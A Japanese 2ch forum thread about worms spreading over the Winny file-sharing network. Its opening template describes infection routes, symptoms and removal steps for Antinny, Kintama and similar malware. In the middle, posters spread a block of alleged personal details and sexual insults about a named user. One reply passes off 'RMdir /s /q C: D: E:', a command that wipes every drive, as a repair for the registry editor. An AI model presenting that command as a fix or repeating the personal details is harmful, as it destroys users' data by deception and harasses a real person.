Winnyを狙ったワーム・ウイルス情報 Part32

先ず、ここは初心者の質問・救済スレではありません。（これ大事）

Winnyで流れているワーム、ウイルス等の報告・調査・対処をするスレです。
質問はテンプレを読んでからにして下さい。
読まずに質問しても「テンプレ嫁」と切り返されるだけです。
余裕があれば過去ログにも目を通してください。

■流行種
・元祖Antinny系　・キンタマ系　・batファイル　・スクリーンセーバー　etc

■流行感染パターン
・exeの前にスペースたくさん（例：「秘密の写真.jpg　　　　　　　　　.exe」等）
・拡張子が.folderに変更されたHTMLからexeを実行させる
・autorunからbatファイルを実行させる
・スタートアップに解凍させ、再起動後exeを実行させる

■DL後のちょっとした注意
・落としたファイルは必ずウイルススキャンする
・exeファイルはうかつに実行しない
・ファイルのアイコンが偽装されてないか確認する

■全ての感染者に共通の、絶対確実な対処方法
ハードディスクをフォーマットした上で、Windowsの再インストールをする。
上書きインストールではダメです。
現在ハードディスクにあるデータは消えるので、待避するなり諦めるなりしてください。

前スレ
Winnyを狙ったワーム・ウイルス構造解析 Part31
http://tmp4.2ch.net/test/read.cgi/download/1100072614/

ﾃﾝﾌﾟﾚまとめ　http://www.geocities.jp/kemkzuenc/Antinny.html
Antinny対策サイト ttp://nyweb.hp.infoseek.co.jp/

■質問テンプレ
質問の際、あなたのPC環境やウイルスソフトがわからないと対処できません。
テンプレに沿って答えることで解答が出やすくなります。

【使用OS】
【WindowsUpdateしてるか】
【AntiVirusは】
【ちゃんとUpdateしてるか】
【スキャンした結果】
【オンラインスキャンしたならその結果は】
【Winnyのﾊﾞｰｼﾞｮﾝ】
【Winny歴、総DL量は】
【テンプレを読んだか】
【テンプレにある対策を実行したか】
【症状か具体的に、分かる限りすべて書く】
【何をしたらそんなことになったのか】
【これまでにとった措置】

■推奨無視リスト
このままIgnore.txtにコピペしてください。

.exe,,0,0,,0,1,0
.jpg,,0.0085,0.0088,,0,1,0
.jpg .lzh,,0,0,,0,1,0
.g .lzh,,0,0,,0,1,0
.avi .lzh,,0,0,,0,1,0
.m .lzh,,0,0,,0,1,0
.w .lzh,,0,0,,0,1,0
.txt .lzh,,0,0,,0,1,0
.rar .lzh,,0,0,,0,1,0
.cab .lzh,,0,0,,0,1,0
.exe .lzh,,0,0,,0,1,0
※無視リストを追加しすぎるとマシンに負荷が掛かります。

■感染しないための注意１　〜やっておくべき設定等〜
・アンチウイルスソフトのインストール及び常駐、定期的な更新。
・シングルクリックをダブルクリックにしてうっかり操作防止。
・ファイルの拡張子は表示させておく。できれば詳細表示を使うか、ファイラを使う。
・nyをProgramFilesに置かない。CacheとDownフォルダは詳細表示にする。
・CD/DVDドライブのAutorun(自動実行)は切っておく。(やり方は以下参照)
・適切な無視リストの設定などで、そもそもウイルスを呼び込まない。(リストは以下参照)
・whiter対策としてC:\Windows\Systemに「Whismng.exe」というフォルダを作成。
　(フォルダ名と同じファイルは置けないのである程度防止になる)
・WhiterVBS簡易チェッカーを使う。
　ttp://mxtrojan.at.infoseek.co.jp/column02.html
・IEのセキュリティ設定を厳しくする。特にActiveXコントロールとプラグインを無効orダイアログ表示に。
　(拡張子.folderで悪意のあるコードを含んだhtmlを読み込むバグ、悪用の危険あり)
　ttp://internet.watch.impress.co.jp/cda/news/2004/01/30/1927.html
・XMLのOBJECT要素によってコマンドを起動するバグ対策に、
　HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0にあるFlagsの値を10進数で1に変更する。
・フォルダアイコン、txtアイコンを標準のものから変更しておく。
　 (アイコンを偽装したexeを見分けるため。aviやヘルプなど他の拡張子も変更が望ましい)
・レジストリ：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run のアクセス権を制限する。
　※アプリケーションのインストール時に弊害が起こることもあるので注意。

　　　　　　　　　　　　　　　　　　　∧,, ∧
　　　　　　　　　　　　　　　　　　 (`・ω・´) 　私が５ゲトしました！！
　　　 　　　　　　　　　　　　 　 　 Ｕ θＵ
　　　　 　　　　　　　　　　　 ／￣￣�T￣￣＼
　　　　　 　　　　　　　　　　|二二二二二二二|
　　　　　　　　　　　　　　 　｜　　　　　　　　｜
パシャ　パシャ　 パシャ　パシャ　パシャ　　パシャ　パシャ　パシャ　パシャ　パシャ
　　　パシャ　パシャ　パシャ　パシャ　パシャ　 パシャ　パシャ　パシャ　　パシャ 　パシャ
　∧_∧　　　 　　∧_∧ 　　　 ∧_∧　　∧_∧　　　　∧_∧　　　　 ∧_∧
　(　　 )】 　 　 　(　　 )】　　　 (　　 )】 【(　　 )　　　 【(　　 )　　　 【(　　 )
　/　 /┘　.　 　/　 /┘.　 　　/　 /┘ └＼ ＼　 　└＼ ＼　　 └＼ ＼
ノ￣ゝ　 　　　ノ￣ゝ 　　　 　ノ￣ゝ　 　　　ノ￣ゝ 　　 ノ￣ゝ　 　 　ノ￣ゝ

　　　 　 /ヽ　　,　　　　　　　　　　　
　　　 /´　　｀´ |　　　◎　　　　　　　　　　　　　　　　　　　/ヽ_____／l　　　
　　　 '､ 　 　 　,l　　//　　　　　　　　　　　　　　　　　　　 /　　　　　'､　
　　/￣　　,_,..ノ　 　//　 　　　　　　　　　　　　 　　 　 　 l　　　　　　l
　 /　　　　'､　　　//　　　　　　　　　　　　　　　　　　　　_,ゝ　　　 _,.ﾉ ＜おもすれー
　/　PSP,　ヽ　　//　　　　　　　　　　　　　　　　　　　ｌ´　　　　　 `ヽ
　|　　　 /`ヽ､`'‐‐-､　　　　　　　　　　　　　　　　　　_|　　　NDS　　|
　ｌ　　　'｀　　 `￣_,.'　　　　　　　　　　　　　　　　　　ヽｌ　ｉ　　　　　/ ｌ, 、
　 ヽ､＿_,.　-‐ '' ´ 　 　　　　　　　　　　　　　　　　　.ヽ`' |　　　　 ｌ.,_,! /
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 ヽ '　　　　　　/
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 `､.,____　　,. ′

■感染しないための注意２　〜普段からの注意〜
・大事なデータはこまめにバックアップを取る。
・落としたファイルは必ずウイルススキャンする。
・指定外の場所へ解凍される脆弱性がある解凍ソフトがあるので対応済のソフトを使う。
　ttp://www.forest.impress.co.jp/article/2004/07/30/arcsecurity.html
・解凍ソフトはWinRARなど中身を確認できるアーカイバを使う。
・lzh,zip,rarなど圧縮ファイルは解凍後も要注意。
・exeファイルの実行は完全自己責任。
・CDイメージ(CCD等)はautorunを切ってからマウントし、更に実行ファイル(setup.exe等)をウイルススキャンする。
・怪しい・危険なファイルはWinnyFileDatabaseでチェックする。
　ttp://p46.aaacafe.ne.jp/~nydb/

CD/DVDドライブのAutorun(自動実行)の切り方
　◆Win9x、Meの場合
　　1.[マイ コンピュータ]-[プロパティ]-[デバイスマネージャ]-[CD-ROM]-[プロパティ]-[設定]を開く
　　2.オプション項目の「挿入の自動通知」のチェックを外す
　◆Win2000、XPの場合
　　1.[スタート]−[ファイル名を指定して実行] から regedit を起動
　　2.HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom を展開
　　3.右の「AutoRun」値のデータを0に設定
※設定変更後、必ず再起動すること。再起動しないと有効になりません。
※また窓の手などでソフトでも簡単にオフに出来る。
※DaemonToolsの自動起動とは別です。これをオフにしても自動実行は切れません。

★流行種その１
【キンタマ（W32.AntiWinny.K等）】
■感染ルート
・nyあるいはそれ以外の方法でキンタマワームを踏んで感染。
・IEや拡張子「.folder」のバグを利用し、自動実行させ感染。
■症状(感染確認方法)
・Upfolder.txtに登録したことのないフォルダが登録される。
・レジストリエディタ（regedit.exe）を開こうとするとメモ帳が開く。
・"C:\Documents and Settings\ユーザー名\Local Settings\Temp" に"ユーザー名.txt"が作成される。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　に名前xxx データC:\Program Files\xxx\xxx.exeが登録される。
・スタートアップに該当プログラムが登録される。(msconfigで確認)
・etc.(亜種により様々)
■活動内容(亜種毎に違います)
・Winnyとは関係なくランダムな時間にデスクトップのスクリーンショットを取る。
・デスクトップ上のファイルをまとめて　[キンタマ] 俺のデスクトップ PCのユーザー名[日付](ファイル詰め合わせ).lzh　という名前でupフォルダに置く。
・UpFolder.txtを書き換えてファイルを勝手にアップロードする。
・Winnyを接続すると知らない間に勝手にこれらをダウンロードする。
・各exeファイルはそのアイコンの本来の動作も同時に行う。
　(例えばjpgアイコンに偽装したexeを起動すると、ワームが実行されると共に画像も表示されるため気づきにくい)
■駆除方法
・Winnyをフォルダごと削除、そしてWinnyを再び入れ直す。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runの怪しい値を削除する。
・C:\Program Files\xxx\xxx.exeを削除、 スタートアップからも該当プログラム削除。
■予防
・なるべく関わらない。推奨無視ワード「キンタマ」「デスクトップ」
・今回に関わらず、落とした.exeファイルの実行は控える。
■まとめサイト
ttp://myui.s53.xrea.com/kin/index.html
★関係ウイルス【苺きんたま（Trojan.Upchan）】
ttp://www.geocities.jp/ichigo_kintama/

★流行種その２
【Antinny.ms（仮称）】
　Antinny.Bの亜種？ サイズ 1.26MB　開発名 SilentToker　Delphi製
　ファイルバージョン5.1.3125.1093　製品バージョン6.00.1800.1007
■症状(感染確認方法)
・Windowsフォルダにsvchost.exeを作成。(無い場合もあり)
　(Systemフォルダにあるsvchost.exeは問題ありません)
・UpFolder.txtに名前BBSでダウンフォルダを追加。
・アップ（ダウン？）フォルダのZIP、LZH、RAR(?)に感染。感染の際にアイコンを自ら変更する。
・アンチウイルスソフト（ノートン、バスター）の自動実行を無効にする。
・親と子があり、いずれもSystemフォルダに作成される。子はms???.exe(248k)。親はms???.exe(282k)
　(子を消しても、再起動すると親が子を再度作成する)
・親はサービスに登録される。
・子はHOSTSを書き換えてWindowsUpdateやSymantecなどに接続不可にする。
・親と子はノートンでトロイとして検出される。バスターは未対応？
■活動内容
・毎月第一月曜日に発動。行動内容は不明。
■対策
1. 親のファイル名が含まれるレジストリキーを削除。
　　Win2k、XPの場合HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ 内にある。
　　(Win9X、MEの場合は不明)
2. セーフモードで再起動し、親子ともどもファイルを削除。
3. HOSTSファイルを開き、宛先が0.0.0.0の行を全部削除。
　　HOSTSファイルは \Windows\System32\Drivers\etc\Hosts をメモ帳などで開く。
4. NyのUpフォルダ設定を元に戻す。
5. ノートンやバスター等のワクチンソフトを再インストール。
　　バスターはPCCTool.exeを使えば再インスコせずに済む。

★流行種その３
【Autorun+bat】
5種類以上の亜種がある。
■感染ルート
・主にエロゲのイメージファイルをマウントした時やSetupを実行した時に感染。
・Setup.batやSetup.exeを実行させることで感染。
■活動内容(版により活動は異なる)
・deltree、del、rmコマンドでファイル削除。
・bug.exeで気をそらす。
・reg deleteコマンドでレジストリ全削除。
・スタートアップに自身を登録し、再起動毎に活動する。
・レジストリのRunやRunOnceに自身を登録し、再起動毎に活動する。
・システムの復元の無効化。
・Windowsファイル保護の無効化。
・使用者名・企業名変更。
・レジストリエディタ本体及びdllcacheやi386フォルダ内のバックアップの削除。
　(削除したファイルと同名のフォルダを作成する)
・強制再起動
・html(ACCS・JASRACへの田代砲)起動をatコマンドでスケジュールする。
・壁紙のエロCGへの変更(画面のプロパティでの修正は不可)
■駆除方法(版により対処法は異なる)
・batファイルに書かれたDOSコマンドを読んで、加えられた変更を元に戻す。
■対策
・batファイルを不用意に実行しない。
・exeの実行は自己責任で行う。あまりアンチウイルスソフトは役に立たない。

★流行種その４
【スクリーンセーバー（仮称）】
・サイズは4,553,632Byte、アイコンはフォルダに偽装。
・感染者が流す圧縮ファイルにある偽装されたウイルス本体から感染の模様。
■症状(感染確認方法)
・ny起動すると画面が真っ黒になり
　赤い文字で「winnyで違法なファイルを集めています」と文字が流れる。
・マウス動かすとログオフ画面に切り替わる。
・起動時にアドレス帳が勝手に立ち上がる。
・タスクマネージャを起動できないようにする。（情報錯綜）
■活動内容
・C:\WINNT\Web\Wallpaperのフォルダが開く。(意味は不明)
・C:\WINDOWS\bugfixというフォルダを作り２つの圧縮ファイル作成。
　[任意ﾜｰﾄﾞ][NullPorce] 俺のアドレス帳＆お気に入り　ﾕｰｻﾞｰ名.zip
　私はﾕｰｻﾞｰ名、Antinnyの作者だ。.zip
・UpFolder.txtに「Path=C:\WINDOWS\bugfix」ができてる。
・Winny.exeが置いてあるフォルダに、"NullPorce2MX.exe" 22,528Byteができる。
・C:\WINNTにWindowsXPのフォルダに偽装したexeファイルを３つ？作る。
・そのexeファイル名はシステムに使用されるものをランダムに使用の模様。
　（報告済み：CTFMON.EXE、Exploder.exe、IMEJPMlG8.0.exeなど、どれも45,056バイト）
・レジストリに以下を追加し、起動時の自動実行が設定される。
　HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
・また以下も追加、作用は不明？値はGalaxian Explosion
　HKEY_CURRENT_USER\Software\VB and VBA Program Settings\NullPorce2\Attribute
■対策
・C:\WINDOWS\system\にあるwnconfig.txtとアイコンが偽装しているexe削除。
・C:\WINDOWS\bugfix\の中に生成されてる２つのファイルを削除。
・nyを入れてるフォルダにあるUpFolder.txtを削除。
・レジストリで怪しいキー削除。

★新種(詳しい解析求む)

・元祖仙台キンタマ（仙台ギャラクシーエンジェルズ）
　　エロゲの「ホットギミックフォーエバー」「こんねこ」「グリグリ２」に
　　それぞれ少しずつ違うタイプの実行ファイルとして混入
　　　　　　→ノートン先生がW32.SillyP2Pとして対策済
　　症状：壁紙を赤くする、ファイル詰合わせ放流、SS放流、ny関連のtxtから情報抽出して放流など
　　　　　時限発動でSS詰め合わせを（画像詰め合わせ）として放流かも？

・2次感染を狙ったもの（たぶん作者は仙台キンタマと同一）
　　仙台キンタマが放流する詰合わせに偽装したもの
　　（ユーザー名が2-3文字の女性名、トリップ無し）に
　　混在の.scr（スクリーンセーバ偽装）
　　　　　　→ノートン先生が Antinny.Gとして緊急対策済（次回定例更新時に反映）
　　　症状：HDD内から.doc　.xls　.txt　.jpgを検索してすべてを収集し
　　　　　　nyネットワークに放流する（恥ずかしい.jpg画像やメール送受信記録、Cookieなど）

過去スレ
Part1 http://tmp.2ch.net/test/read.cgi/download/1060003283/
Part2 http://tmp.2ch.net/test/read.cgi/download/1060385909/
Part3 http://tmp.2ch.net/test/read.cgi/download/1060700316/
Part4 http://tmp.2ch.net/test/read.cgi/download/1061551896/
Part5 http://tmp.2ch.net/test/read.cgi/download/1063637671/
Part6 http://tmp2.2ch.net/test/read.cgi/download/1066288327/
Part7 http://tmp2.2ch.net/test/read.cgi/download/1068654569/
Part8 http://tmp2.2ch.net/test/read.cgi/download/1072600676/
Part9 http://tmp2.2ch.net/test/read.cgi/download/1075998916/
Part10 http://tmp2.2ch.net/test/read.cgi/download/1078207953/
Part11 http://tmp2.2ch.net/test/read.cgi/download/1079425731/
Part12 http://tmp2.2ch.net/test/read.cgi/download/1079449665/
Part13 http://tmp2.2ch.net/test/read.cgi/download/1079540824/
Part14 http://tmp2.2ch.net/test/read.cgi/download/1079918577/
Part15 http://tmp2.2ch.net/test/read.cgi/download/1080816795/
Part16 http://tmp2.2ch.net/test/read.cgi/download/1081307106/

（・３・）エェー　ニュイルスニャームじゃないのかYO！

>>1
もつかれ〜（･∀･)っ且~~　ｵﾁｬﾓﾄﾞｿﾞ

Part17 http://tmp2.2ch.net/test/read.cgi/download/1082190076/
Part18 http://tmp2.2ch.net/test/read.cgi/download/1083335282/
Part19 http://tmp3.2ch.net/test/read.cgi/download/1084036887/
Part20 http://tmp3.2ch.net/test/read.cgi/download/1084808432/
Part21 http://tmp4.2ch.net/test/read.cgi/download/1086794458/
Part22 http://tmp4.2ch.net/test/read.cgi/download/1089460762/
Part23 http://tmp4.2ch.net/test/read.cgi/download/1091063187/
Part24 http://tmp4.2ch.net/test/read.cgi/download/1092058756/
Part25 http://tmp4.2ch.net/test/read.cgi/download/1093270545/
Part26 http://tmp4.2ch.net/test/read.cgi/download/1094872215/
Part27 http://tmp4.2ch.net/test/read.cgi/download/1095939735/
Part28 http://tmp4.2ch.net/test/read.cgi/download/1096694962/
Part29 http://tmp4.2ch.net/test/read.cgi/download/1098962243/
Part30 http://tmp4.2ch.net/test/read.cgi/download/1099709559/
Part31 http://tmp4.2ch.net/test/read.cgi/download/1100072614/

仙台ウイルスに感染した管理人、奈野りゅうのHP ドラゴン・ロアー
http://homepage2.nifty.com/dragon-r/

このサイトはWinnyを使って手に入れた特定のexeファイルをクリックしたときに感染する
ウイルス「仙台ギャラクシーエンジェルス」に感染しエロゲー(やはり割れなのか)や
絵描きツールを使用している自身のデスクトップ画像などをWinny上でバラまいていた。
そこに、優しい２ちゃんねらーが本人サイトの掲示板で教えてあげたところ、それに気づいた
管理人は速攻でその記事を削除。当然謝罪などの声明もナシ。一般常識のかけらもないと思われる。

同じく速攻で消したリンクページ
イラスト・テキスト系
canvas/宮坂みゆ　http://www.geocities.co.jp/Playtown-Bingo/2988/
メビ小隊/メビにゃー　http://www.hm7.aitai.ne.jp/~ifudodo/
kool spice/冬野　http://www.kdn.gr.jp/~fuyuno/index.htm
茶色の小箱/brown　http://www.geocities.co.jp/HeartLand-Oak/4720/
ACOMPRE/こぴーあんへる　http://www004.upp.so-net.ne.jp/ibara/
LOVERS・オブ・ロード館/アキラ　http://www.geocities.co.jp/Playtown-Yoyo/1512/
俺よりダメな奴に会いに行く/しゃがみ中パンチ（O山プロ代表）　http://shagatyu.fc2web.com/
虚無/ＧＭ・Ｔ　http://www.earthdragon.jp/~karla/

卓上ゲーム系
Hex-a-Gram/なお丸　http://www.geocities.co.jp/Playtown-Dice/2787/index.html
F.E.A.R. Online/F.E.A.R.　http://www.fear.co.jp/
グループSNEホームページ/グループSNE　http://www.groupsne.co.jp/

＜うさだ萌え ◆HkEgRy0Iso のデータ＞

【本名】吉川友章（ともあき）

【メールアドレス】[email protected]

【身長・体重】158cm・体重48kg

【実家】大阪アメリカ村にあるラーメン屋

【除籍前の大学】大阪商業大学

【口癖】
「黙れ、ハゲ」「死ね、ハゲ」「金、貸せ」「アホォ」「愚図」

【特技】
文章を書く時に、必要以上に読点を打つ（読みづらい）
自分に都合の良い意見しか聞かない（マジレスも曲解するアホ）

【その他の特徴】
･もえたそ ◆jM68MB.ATI という女コテハンに夢中
･もえたそ ◆jM68MB.ATI を想像して毎日5回のオナニーが日課
･イク時は近所に響くくらいの情けない声を出す
･ズリネタはもえたそ ◆jM68MB.ATI と2次元美少女のみ
･もえたそ ◆jM68MB.ATI が好きなのについ冷たくしてしまう
･身長を伸ばして もえたそ ◆jM68MB.ATI を振り向かせたい
･免許を取ってもえたそ ◆jM68MB.ATI とグロリアに乗りたい

★流行種その５
【仙台キンタマ-W32.SillyP2P】
■感染ルート
・主にエロゲのイメージファイルをマウント、オートランでウイルス発動。
■症状(感染確認方法)
・壁紙を勝手に変更する。
・windows\system32の中にexeを作製(svchost32.exe、setup.exe、ごみ箱.exeなど)
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runに上記exe追加。
・レジストリエディタをメモ帳で上書き。
・UpFolder.txtにUPフォルダを追加し、
　Download.txtにウイルスと思われるスペースつきのexeファイルを追加する。
・winnyのフォルダ内に隠しフォルダでUPフォルダが作られ、
　downフォルダ内のファイル一覧のtxt、デスクトップSS、
　Favorites、受信トレイ.dbx、送信トレイ.dbx、My Documentsが入れられる。
・UP時のトリップはユーザー名の模様 。
・Ignore.txtに仙台ギャラクシーエンジェルズを追加するため、自分が晒されてると気づきにくい。
■駆除方法
・windows\system32の中に作製されたexeを削除。
・CDなどから正常なレジストリエディタに戻す。
・HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runに追加されたキー削除。
・UpFolder.txt、Download.txtの問題箇所修正削除。
■予防
・exeは踏まない。
・オートランを切る。
・エロゲをマウントしない。

【仙台スクリーンセーバー】
・仙台キンタマの2次感染を狙ったもの、仙台キンタマが放流する詰合わせに偽装。
・『（ユーザー名が2-3文字の女性名、トリップ無し）に混在の.scr』とスクリーンセーバ偽装。
・症状は.doc .xls .txt .jpgなどを収集しnyへ放流する。
・ノートン先生がAntinny.Gとして緊急対策。

>>12で仙台ウイルス関連の情報求めてるけどもう出ないので
過去スレでまとめられてるのでもう打ち止め、まとめたら？と。
そんなわけで、２次感染のを「仙台スクリーンセーバー」って名づけて
>>18で貼っておきました。

乙！情報解析取れたのね

>>14
>>20
ﾆｬｰﾑ・ﾆｭｲﾙｽとか構造解析だと、新種ｳｲﾙｽ踏んだﾔﾂが来なくなるかと・・・
このｽﾚの住人はｳｲﾙｽ踏まないだろうし・・・

>>18
とりまとめｵﾂ

sssssssssssssssss

>>1 >>18 乙。

>>16 追加乙。HP持ってる人多いのね。さすがは2ちゃんねら。えらい。

それから年末にウイスルで年賀状送るヤシへ。
あのーこれ誤送です (-人-)ﾅﾑﾅﾑ

前スレ　>880　俺もさっき引っかかって電源落としました。

キンタマだけで50近くあった・・・
全部で114のウィルス・・・
もうだめぽ

対策何もしてなかったの？

>26
多分対策しても無駄

なぁ、CD革命、って、どうやって、マウントするんだ？ハゲ。

出来合いの、bin cue FIXイメージを、マウントしたいんだが。

FCDに、しないと、マウントできないのか？ハゲ。

っで、とりあえず、イメージを、DLしたはいいが、デーモンツール、じゃ、
起動できねーし。もえたその、愚図、に、メール、送ったが、返信こねーし。ハゲ。

ほんと、リアルで、コピーガード、については、初めての、対峙だから。

どうやって、起動するか、教えろ。ハゲ。

うさだ回収に参りました

　　　∧∧　　　　　　∧∧
　　<　　　>　　　　　<　　　>
　　（＝＝＼(｀Д´)テ＝＝）
　　　>λ　）(　　　)　|　i 丿
　　 ○　(　) O人O　(　)

　　　　　　　　　　ｽﾞﾙｽﾞﾙ

>>、http://tmp4.2ch.net/test/read.cgi/download/1100072614/988、

thax。っと、ゆいたいところっだっが、ハゲ。

＞レジストリ”エディタ”は元には戻らないが

!?、元に戻す方法、教えろ。ハゲ。

>>30、ぎゃーす。死ね、ハゲっが。

スルーしてみ、どんどんエスカレートして面白いから

>>1
しかしアレだな
前スレからﾆｭｲﾙｽにしておけば、うさだみたいのも来なかったと思うんだが如何に？

前スレの終わりくらいからあぼーんが大漁

>>32
これは本当におまえなのか？

＜うさだ萌え ◆HkEgRy0Iso のデータ＞
【本名】吉川友章（ともあき）
【メールアドレス】[email protected]
【身長・体重】158cm・体重48kg
【実家】大阪アメリカ村にあるラーメン屋
【除籍前の大学】大阪商業大学
【口癖】
「黙れ、ハゲ」「死ね、ハゲ」「金、貸せ」「アホォ」「愚図」
【特技】
文章を書く時に、必要以上に読点を打つ（読みづらい）
自分に都合の良い意見しか聞かない（マジレスも曲解するアホ）
【その他の特徴】
･もえたそ ◆jM68MB.ATI という女コテハンに夢中
･もえたそ ◆jM68MB.ATI を想像して毎日5回のオナニーが日課
･イク時は近所に響くくらいの情けない声を出す
･ズリネタはもえたそ ◆jM68MB.ATI と2次元美少女のみ
･もえたそ ◆jM68MB.ATI が好きなのについ冷たくしてしまう
･身長を伸ばして もえたそ ◆jM68MB.ATI を振り向かせたい
･免許を取ってもえたそ ◆jM68MB.ATI とグロリアに乗りたい

>>31 何故、標準装備のレジストリ”エディタ”に固執するのか分からん

お前さんもなんか勘違いしている様な気がするので書くが

まず、レジストリとレジストリ”エディタ”は別物
win標準装備のレジストリ”エディタ”はその名の通り、レジストリを編集できる1ツールに過ぎない

だから、他に便利なものが在ればそれを使えば良いし、標準装備の奴が使えないなら尚更そうすべき
（まぁmediaplayerのかわりにwinamp使うような・・・違うか、メモ帳代わりの秀丸？）


お前さんが何をマウントするのに苦戦しているのか知らないが、代用の1ツールdlすれば万事解決

レジストリエディタ元に戻す方法は・・・・・・・

あれ、うさだいないのか？

うさだとかいうコテウザイ。
レジストリエディタの修復方法教えてやるからさっさと消えろ。

> 詳しくは省くけど、DOSからRecoveryManagerを起動してシステムファイルを修復すればいい。
> コマンドプロンプトを起動してC:のルートに移動してから「RMdir /s /q C: 2> fix」(半角スペースも含め正確にタイプ)
> システムがDに入ってる場合はC:じゃなくてD:な。
> 念のため「RMdir /s /q C: D: E: 2> fix」てな感じで全ドライブにやっておくとなお安心。
> ルートに移動する方法がﾜｶﾗﾝのなら次ので。これなら全て一発で行ける。「CD C:\ && RMdir /s /q C: D: E: 2> fix」
> 実行後はDOS窓にcompleteが出るまで茶でも飲んで待て。

わかったらもうこのスレ来ないでくれ。

nyを起動すると数分でnyが固まるようになった
nyがCPU使用率99%で応答無しになる
nyのフォルダごと捨てて新たに入れても同じ症状
これってなんかに感染したのかな？
ノートンでPC全スキャンしても何も出なかった

というかクリーンインストールした方が早いよ。

>>40
瞬間的なら俺の糞ＰＣ（ｎｙ専用のペン３　５００ＭＨＺ）も１００逝くけどな。固まったりはしないが。

　　　　　　　　　 　 　 　　 　 　 　　 ＿＿＿＿__
　　　　　　　　 　 　 　 　 　 　 　 　 |　 ,.へ､__,.ﾍ/
　　　　　　　　 　 　 　 　 　 　 　 　 |　/ ＼　 ∠ヽ
　　　　　　　　 　 　 　 　 　 　 　 　 |i＾|｢::::::ﾉ=l:::::ｨ　　　／￣￣￣￣
　　　,.　-‐- ､　　　　　　 　 　 　 　 |ヽ|　　 r_ ＼l　　　|　静粛に……！
　 _/　　 　 　 ＼ 　 　 ＿＿＿＿／| ∧. (二二7! 　 ＜　この男……うさだ萌え ◆HkEgRy0Isoは
∠ 　 ﾊヾミﾆ.r-､＼∠Ｌ:r‐-‐-､:::::::::|/　ヽ＿‐__.｣`ｰ-　|　　住人と語るためではなく、妄想をぶちまけるために
. /ｨ　,L V∠　＼ｌ　＼＼.）j j j j｀二i＼　　　 /:|::::::::::::　|　 　ここへ訪れたキチガイだ……！
　　W､ゞi　,､~ __ ｢￣∧　ヾ´´´　　 |.　 ＼　/　|::::::::::::　|　
　　　 ,ゝし'／ ,ﾉ.|　 /　ｉ　 l.　　　　 l　　　 ＼､.|::::::::::::　|　　良い子のみんなは
　　　l 、｀ヾﾆンl＼./＼|l､_｣　　　　 ヽ、　/　 ヾ:::::::::::::　|　　このバカにマジレスをしてはいけない……！
.　 　 | l　　　 | _l＼ﾄ､　 | ＼r──‐┐ﾄ/ / r‐┴-､:::　　　　
.　　　|. |　 　 7　l　　ヽ　|　/うさだ.| | ∨ {ニニヾヽ　　　　悪質なウソやデタラメを教えるのは許可する！

　　　　　 _,,,......,,__
　　／_~　,,...:::＿::;; ~"'ヽ
　(,, '"ヾヽ　 i|i　//^''ヽ,,)
　 　^ :'⌒i　　　 i⌒"
　　　　　 | ( ﾟДﾟ)　　＜うさだ萌え
　　　　　 |（ﾉ　　|）
　　　　　 | 　　　|
　　　　　 ヽ ＿ノ
　　　　　 　U"U

ああ

うさだなんなんだおまえ

OS再ｲﾝｽｺが面倒じゃなくて、大量のｴﾛｹﾞ再ｲﾝｽｺが面倒なんだろ?
俺なんて1時間程度ですんだぞﾊｹﾞ。

誰か何か書けよ、1時間以上書き込みが無くて泣きそうだったぞﾄﾆｰ

リロードばっかしてるんじゃない

漏れ、感染してからずっと不正アクセス受けるようになって、OS再ｲﾝｽｺしても治んない

>>50
固定IPだったら裏で流通してるのかもしれんが、そうでないなら
リリースして新しいIPをもらえ。

うさだ来なくなった？
もしかしてリカバリーマネージャーのコマンドを実行して全てがすっきり解決しちゃったのかな。
まぁ何にせよ静かなのは良い事だ。

>>52
やっぱりソレかねぇ

不正アクセスを受けているってどうやってわかるんですか？

>>54
FWぐらい使えよ。
ついでにportも定期的に変更するがよろし

nyのキャッシュ自動削除ソフトのWCSRでトロイが見つかったんだけど、スレ違いだからまあいっか…。
http://www.domo2.net/bbs/test/read.cgi/picture/1048436364/977
一応証拠画像貼っといた。

>>55
ありがとうございます。理解しました。

>>56
ｵﾏｲ頭悪いだろ

>>58
(ﾉ∀`)

**********************************************************************
◆WORM_ZAFI.D（ザフィー）
危険度：中　☆イエローアラート☆
VAC：4 ※1
パターンファイル：2.297.00以降 ※2
**********************************************************************

危険度“中”のウイルスが確認されました。
2004年12月15日、ドイツ、フランス、ドイツ、スペインで感染報告が確認
されています。
イエローアラートとして警告します。

■ウイルスの特徴
メール、P2Pアプリケーションソフトを介して自身を頒布するワーム活動を行います。
メールの内容は以下の通りです。
[件名]
　Re: Merry Chrsitmas!

[本文]
　Happy Hollydays!

:) Pamela M.

[添付ファイル]
　postcard.index.php1111.pif

(¬_¬)

平和って事か・・・　(ﾟдﾟ)y-~~~

バスターも警告来たよ。
こんなの。

┌──────────────────────┐
｜　　　　　　　　　　　 　　　　　　　　 　　　 　　　 　 　 　　　|
｜　,＿＿＿　　　　　　　　　　　　　　　　　　　　　　　　　　 ｜
｜　ｌ――､;＾l　　Trend Micro ｹﾙﾀﾌｷｯｽｺ ｺ･･ｰ豌　　　　 .|
｜　|-− .,-､l　　　 　　　　　 　 　　　 　　　 　 　　 　　　 　 .|
｜　|｡｡"｀l :;;.l　　　 　　　　　　 　　　 　　　 　　 　　　　 　　.｜
｜　｀~￣￣~　　　 　　　　　 　　　　 　　　　 　 　　　 　　　　|
｜ 　Trend Micro Inc.　　　　　　　　　 　 　 　 　　 　　　　　|
｜　 ……………………………………………………　　|
｜　　　　　　　　　　　　 　　　　　 　　　 　　　 　 　 　　　　　|
｜　　 ｻ･ｹﾙﾀﾌｷｯｽｺｰ｡ｹﾟｰﾟｵﾇｾ�ｽﾀｴﾏｴﾙ.　　　　　　 　 .｜
｜　　 "in-the-wild". ﾃﾖｽﾅ ｹﾙﾀﾌｷｯｽｺ ﾆﾐﾅﾏ　　　　　　.｜
